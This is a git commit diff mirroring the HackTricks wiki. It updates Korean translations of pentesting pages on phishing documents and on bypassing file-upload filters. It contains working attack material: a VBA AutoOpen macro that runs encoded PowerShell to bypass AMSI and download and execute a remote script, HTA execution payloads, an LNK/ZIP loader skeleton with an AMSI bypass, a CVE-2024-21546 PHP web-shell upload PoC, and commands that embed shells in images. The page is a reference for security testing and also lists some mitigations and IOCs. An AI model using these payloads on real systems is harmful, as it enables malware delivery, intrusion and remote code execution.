mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
286fe8d5a3
commit
f592615a03
@ -1,20 +1,20 @@
|
||||
# Phishing Files & Documents
|
||||
# Phishing 파일 및 문서
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Documents
|
||||
## Office 문서
|
||||
|
||||
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
|
||||
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중에 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
|
||||
|
||||
보통 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 하지만 파일 확장자를 변경해 이름을 바꾸더라도 매크로 실행 기능을 유지하는 것이 가능합니다.\
|
||||
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 해당 파일을 처리하여 매크로를 실행할 수 있게 됩니다.\
|
||||
동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint etc.)의 모든 소프트웨어에 적용됩니다.
|
||||
일반적으로 매크로를 포함한 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경하여 파일 이름을 바꿔도 매크로 실행 기능은 유지될 수 있습니다.\
|
||||
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 변경하면 Microsoft Word가 이를 처리하여 매크로를 실행할 수 있습니다.\
|
||||
동일한 내부 구조와 메커니즘은 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
|
||||
|
||||
다음 명령어를 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다:
|
||||
다음 명령을 사용하여 일부 Office 프로그램에서 어떤 확장자가 실행되는지 확인할 수 있습니다:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX 파일이 macros를 포함한 원격 템플릿 (File –Options –Add-ins –Manage: Templates –Go)을 참조하면 macros를 “실행”할 수도 있다.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### 외부 이미지 로드
|
||||
|
||||
@ -23,18 +23,18 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros 백도어
|
||||
### 매크로 백도어
|
||||
|
||||
문서에서 macros를 사용하여 arbitrary code를 실행할 수 있다.
|
||||
문서에서 매크로를 사용해 임의의 코드를 실행할 수 있다.
|
||||
|
||||
#### Autoload functions
|
||||
|
||||
더 흔할수록 AV가 탐지할 가능성이 높다.
|
||||
사용 빈도가 높을수록 AV가 탐지할 가능성이 커진다.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
#### 매크로 코드 예제
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,14 +64,14 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### 메타데이터 수동 제거
|
||||
#### 수동으로 메타데이터 제거
|
||||
|
||||
**File > Info > Inspect Document > Inspect Document**로 이동하면 Document Inspector가 나타납니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
|
||||
다음으로 이동하세요: **File > Info > Inspect Document > Inspect Document**, 그러면 Document Inspector 창이 열립니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
|
||||
|
||||
#### Doc 확장자
|
||||
#### Doc Extension
|
||||
|
||||
작업이 끝나면 **Save as type** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
|
||||
이는 **`.docx`** 내부에 macro's를 저장할 수 없고 macro-enabled **`.docm`** 확장자에 대한 오명(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이가 이를 완전히 차단함)이 있기 때문입니다. 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안입니다**.
|
||||
작업을 마쳤으면 **Save as type** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
|
||||
이렇게 하는 이유는 **`.docx` 안에는 macro's를 저장할 수 없고** macro-enabled **`.docm`** 확장자에는 낙인이 찍힌다는 점 때문입니다(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이가 이를 완전히 차단함). 따라서 이 **레거시 `.doc` 확장자가 최선의 절충안입니다**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## HTA Files
|
||||
|
||||
HTA는 HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "fully trusted" 애플리케이션으로 실행됩니다.
|
||||
HTA는 Windows 프로그램으로, **HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합합니다**. 이것은 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "fully trusted" 애플리케이션으로 실행됩니다.
|
||||
|
||||
HTA는 **`mshta.exe`**를 사용해 실행되며, 일반적으로 **Internet Explorer**와 함께 설치되어 **`mshta`가 IE에 의존하게** 됩니다. 따라서 IE가 제거된 경우 HTA는 실행할 수 없습니다.
|
||||
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **Internet Explorer**와 함께 설치됩니다. 따라서 **`mshta`는 IE에 의존적**입니다. 만약 Internet Explorer가 제거되었다면 HTA는 실행할 수 없습니다.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forcing NTLM Authentication
|
||||
## NTLM 인증 강제하기
|
||||
|
||||
여러 가지 방법으로 **NTLM authentication을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가하거나(심지어 HTTP MitM?), 피해자에게 폴더를 **열기만 해도** **인증을 유발하는** **파일 주소**를 보낼 수 있습니다.
|
||||
NTLM 인증을 **"원격으로" 강제**하는 방법은 여러 가지가 있습니다. 예를 들어 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가(심지어 HTTP MitM?)하거나, 피해자에게 폴더를 여는 것만으로 **인증을 유발하는** **파일의 주소**를 보낼 수 있습니다.
|
||||
|
||||
**다음 페이지에서 이러한 아이디어들과 더 많은 내용을 확인하세요:**
|
||||
**다음 페이지에서 이러한 아이디어와 더 많은 내용을 확인하세요:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
hash나 인증을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행**할 수도 있다는 점을 잊지 마세요:
|
||||
hash나 인증만 탈취하는 것이 아니라 **NTLM relay 공격**도 수행할 수 있다는 점을 잊지 마세요:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell loader가 고유한 마커 뒤의 ZIP 원시 바이트에 저장되어 있고, .lnk가 이를 carving해서 완전히 메모리에서 실행한다는 점입니다.
|
||||
효과적인 캠페인들은 두 개의 합법적인 위장 문서(PDF/DOCX)와 악성 .lnk가 포함된 ZIP을 배포합니다. 핵심은 실제 PowerShell 로더가 ZIP의 원시 바이트 내 고유 마커 뒤에 저장되어 있고, .lnk가 이를 추출하여 메모리에서 완전히 실행한다는 점입니다.
|
||||
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
일반적으로 .lnk PowerShell one-liner에 의해 구현되는 흐름:
|
||||
|
||||
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 부모 등 일반 경로에서 원본 ZIP을 찾습니다.
|
||||
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾습니다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드입니다.
|
||||
3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 정상처럼 보이도록 미끼 .docx를 엽니다.
|
||||
4) 현재 프로세스에 대해 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
1) 원본 ZIP을 일반적인 경로에서 찾음: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 그리고 현재 작업 디렉터리의 부모.
|
||||
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾습니다. 마커 이후의 모든 내용이 임베디드된 PowerShell 페이로드입니다.
|
||||
3) ZIP을 %ProgramData%로 복사하고 거기서 압축을 풀며, 합법적으로 보이기 위해 위장 .docx를 엽니다.
|
||||
4) 현재 프로세스에서 AMSI 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행합니다.
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
임베디드 단계를 추출하여 실행하는 PowerShell 예제 스켈레톤:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -190,33 +190,33 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notes
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
|
||||
노트
|
||||
- 전달은 종종 평판이 좋은 PaaS 하위 도메인(예: *.herokuapp.com)을 악용하며, 페이로드를 제한할 수 있다(예: IP/UA에 따라 무해한 ZIPs 제공).
|
||||
- 다음 단계는 종종 base64/XOR shellcode를 복호화한 뒤 Reflection.Emit + VirtualAlloc을 통해 실행하여 디스크 흔적을 최소화한다.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
동일 체인에서 사용된 Persistence
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control으로 IE/Explorer 또는 이를 임베드한 모든 앱이 페이로드를 자동으로 재실행하게 만든다. 자세한 내용과 즉시 사용 가능한 명령은 다음을 참조:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
헌팅/IOCs
|
||||
- 아카이브 데이터 끝에 ASCII 마커 문자열(예: xFIQCV)이 추가된 ZIP 파일.
|
||||
- .lnk는 상위/사용자 폴더를 열거하여 ZIP을 찾아 미끼 문서를 연다.
|
||||
- AMSI 조작: [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- 신뢰된 PaaS 도메인에 호스팅된 링크로 끝나는 장기 실행되는 업무 스레드.
|
||||
|
||||
## Windows files to steal NTLM hashes
|
||||
## NTLM 해시 탈취용 Windows 파일
|
||||
|
||||
다음 페이지에서 **places to steal NTLM creds**를 확인하세요:
|
||||
다음 페이지에서 **places to steal NTLM creds**를 확인:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## 파일 업로드 일반 방법론
|
||||
|
||||
Other useful extensions:
|
||||
다른 유용한 확장자:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@ Other useful extensions:
|
||||
|
||||
### 파일 확장자 검사 우회
|
||||
|
||||
1. 해당되는 경우, **이전 확장자들**을 확인하세요. 또한 일부 **대문자**를 사용해 테스트해보세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 유효한 확장자를 **추가하는 것**을 확인하세요 (이전 확장자들도 사용):_
|
||||
1. 가능하다면, 위의 **확장자들을 확인**해보세요. 또한 **대문자**를 섞어 테스트하세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 가능 확장자 앞에 유효한 확장자를 추가해보세요 (위 확장자들로도 시도):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 끝에 **특수 문자를 추가해보세요.** Burp로 모든 **ascii** 및 **Unicode** 문자를 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **extensions**도 시도할 수 있습니다_)
|
||||
3. 끝에 **특수 문자**를 추가해보세요. 모든 **ascii** 및 **Unicode** 문자를 Burp로 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **확장자**들도 함께 시도할 수 있습니다_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Other useful extensions:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. 서버 측의 확장자 파서를 속여 보호를 우회해보세요 — 예: **doubling** the **extension** 또는 확장자 사이에 **adding junk** 데이터(**null** bytes)를 넣는 기법. _이전 확장자들을 사용해 더 나은 페이로드를 준비할 수도 있습니다._
|
||||
4. 서버측의 확장자 파서를 **속이는** 기법(예: 확장자 **중복**, 확장자 사이에 **junk** 데이터나 **null** 바이트 삽입)으로 보호를 우회해보세요. _더 나은 페이로드를 위해 이전 확장자들도 활용할 수 있습니다._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Other useful extensions:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 이전 시도에 **또 다른 확장자 레이어**를 추가하세요:
|
||||
5. 이전 검사에 **추가 확장자 레이어**를 더해보세요:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 유효한 확장자 앞에 **exec 확장자**를 두고 서버가 잘못 구성되기를 기대해보세요. (예: Apache의 잘못된 구성에서는 확장자에 **.php**가 포함되어 있으면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다):
|
||||
6. **실행 확장자(exec extension)를 유효한 확장자 앞에 두는** 방식으로 서버가 잘못 설정되었길 기대해보세요. (Apache의 일부 잘못된 설정에서는 **.php**가 포함된 어떤 이름이라도 실행될 수 있음)
|
||||
- _ex: file.php.png_
|
||||
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg”). 이 파일은 나중에 short filename 같은 다른 기법으로 편집될 수 있습니다. "**::$data**” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점(.)을 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.”)
|
||||
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
|
||||
7. **Windows의 NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지된 확장자만 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 이후 short filename 등을 이용해 편집될 수 있습니다. "**::$data**” 패턴을 사용하면 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점을 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.").
|
||||
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘려서 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
일부 업로드 핸들러는 저장된 파일명에서 끝의 점 문자를 잘라내거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방법으로 확장자 검증을 우회할 수 있습니다:
|
||||
일부 업로드 핸들러는 저장된 파일명에서 후행 점(dot)을 잘라내거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음으로 확장자 검증을 우회할 수 있습니다:
|
||||
|
||||
- 유효한 이미지 MIME과 magic header 사용 (예: PNG의 `\x89PNG\r\n\x1a\n`).
|
||||
- 업로드한 파일명을 PHP 확장자 뒤에 점을 붙여 명명, 예: `shell.php.`.
|
||||
- 서버가 끝의 점을 제거하여 `shell.php`로 저장하며, 이 파일이 웹에서 서비스되는 디렉터리(기본 public storage 예: `/storage/files/`)에 놓이면 실행됩니다.
|
||||
- 유효한 이미지 MIME과 magic header 사용(예: PNG의 `\x89PNG\r\n\x1a\n`).
|
||||
- 업로드 파일명을 `shell.php.`처럼 PHP 확장자 뒤에 점을 붙여서 이름 지정.
|
||||
- 서버가 후행 점을 제거하고 `shell.php`로 저장하면, 웹으로 제공되는 디렉토리에 있을 경우 실행됩니다(기본 public storage 예: `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,55 +80,55 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
그런 다음 저장된 경로에 접근하세요 (Laravel + LFM에서 일반적임):
|
||||
그런 다음 저장된 경로를 호출하세요 (Laravel + LFM에서 일반적):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
완화 조치:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요.
|
||||
- 업로드된 파일은 실행 불가능한 위치에서 제공하세요.
|
||||
Mitigations:
|
||||
- unisharp/laravel-filemanager를 ≥ 2.9.1로 업그레이드하세요.
|
||||
- 엄격한 서버 측 allowlists를 적용하고 저장된 파일명을 다시 검증하세요.
|
||||
- 업로드 파일은 실행 가능한 위치가 아닌 곳에서 제공하세요.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
### 우회 Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Bypass **Content-Type** 검사를 우회하려면 **Content-Type** **header**의 **value**를 다음으로 설정하세요: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
- Bypass **magic number** 검사를 우회하려면 파일 맨 앞에 **실제 이미지의 바이트**를 추가하세요 (_file_ 명령을 혼동시킵니다). 또는 **metadata** 안에 쉘을 삽입하세요:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
또는 페이로드를 이미지에 직접 삽입할 수도 있습니다:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- If **compressions is being added to your image**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용하는 경우 이전 기법들은 유효하지 않을 수 있습니다. 하지만 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 **견디는 텍스트**를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- 웹 페이지가 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하여 이미지를 리사이징할 수도 있습니다. 그러나 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 **견디는 텍스트**를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- 이미지 리사이징을 견디는 페이로드를 만드는 또 다른 기법은 PHP-GD 함수 `thumbnailImage`를 사용하는 것입니다. 그러나 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 **견디는 텍스트**를 삽입할 수 있습니다.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
### 확인할 기타 트릭
|
||||
|
||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. 여러 번(그리고 **동시에**) 동일한 **파일**을 같은 **이름**으로 업로드하세요.
|
||||
2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**으로 파일을 업로드하세요.
|
||||
3. 파일 이름을 `"."`, `".."`, 또는 `"…"` 로 업로드하세요. 예를 들어, Apache가 **Windows**에서 애플리케이션이 업로드된 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 uploads”라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 삭제하기 어려운 파일 이름(예: **"…:.jpg"**)을 업로드하세요. (Windows)
|
||||
5. 이름에 `|<>*?”` 같은 **잘못된 문자**가 포함된 파일을 Windows에 업로드해 보세요. (Windows)
|
||||
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9와 같은 Windows의 **예약(금지) 이름**을 사용해 파일을 업로드하세요.
|
||||
- 피해자가 실수로 열었을 때 **코드가 실행되는** .exe 같은 **실행 파일**이나 덜 의심스러운 **.html** 파일을 업로드해 보세요.
|
||||
- 이미 업로드된 파일의 이름을 **rename**(확장자 변경)할 수 있는 취약점을 찾아보세요.
|
||||
- 백도어를 실행하기 위해 **Local File Inclusion** 취약점을 찾아보세요.
|
||||
- **가능한 정보 노출**:
|
||||
1. 같은 이름의 같은 파일을 **여러 번**(그리고 **동시에**) 업로드하세요.
|
||||
2. 이미 존재하는 **파일**이나 **폴더**의 **이름**으로 파일을 업로드하세요.
|
||||
3. 파일 이름을 **"." , "..", or "…"**로 업로드하기. 예를 들어, Apache의 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉토리에 저장하면, "." 파일명은 "/www/" 디렉토리에 uploads”라는 파일을 생성합니다.
|
||||
4. NTFS(Windows)에서 **"…:.jpg"**처럼 쉽게 삭제되지 않는 파일을 업로드하세요.
|
||||
5. Windows에서 `|<>*?”` 같은 **유효하지 않은 문자**를 이름에 포함한 파일을 업로드하세요.
|
||||
6. Windows에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9와 같은 **예약(금지)된 이름**을 사용해 파일을 업로드하세요.
|
||||
- 피해자가 우연히 열었을 때 코드가 실행되는 실행 파일(.exe)이나 덜 의심스러운 .html 파일을 업로드해보세요.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
